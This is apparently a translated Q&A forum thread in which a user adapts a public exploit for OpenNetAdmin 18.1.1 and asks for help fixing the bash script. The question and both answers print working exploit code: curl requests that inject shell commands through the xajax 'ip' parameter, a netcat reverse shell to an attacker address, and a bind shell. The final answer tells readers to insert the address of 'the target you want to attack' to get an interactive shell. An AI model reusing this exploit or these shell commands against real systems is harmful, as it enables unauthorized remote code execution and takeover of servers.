Bash 利用的语法问题

Bash Syntax Problems for Exploit

我在 OpenNetAdmin 18.1.1

的 exploit-db 找到了一个 exploit

我必须调整此脚本以使其对我有用,但我没有完成。 这是我目前所拥有的:

URL="xxx.xxx.xxx.xxx/ona"
while true;do
 echo -n {"nc -e /bin/sh xxx.xxx.xxx.xxx 4444 "}; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

输出只是:

{nc -e /bin/sh xxx.xxx.xxx.xxx 4444 }

我对语法有点吃力。

我做错了什么?

如果您只需要启动 nc 程序,这就是您想要的。该脚本假定远程机器是 Linux 机器,/bin/bash 和 nc (netcat) 编译时使用 -e 支持

#!/bin/bash
URL="http://.../ona" 
cmd="nc -l -p 4444 -e /bin/sh"
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1

我找到了适合的解决方案:

#!/bin/bash
URL="http://xxx.xxx.xxx.xxx/ona/"
while true;do
 echo -n "{/bin/sh -i}"; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltip>
done

只需将 xxx.xxx.xxx.xxx 替换为您要攻击的目标并将脚本另存为 shell.sh

现在 运行 带有 ./shell.sh 的脚本,您将在目标系统上获得交互式 shell。

验证您现在可以输入 pwdid 并检查您是否成功。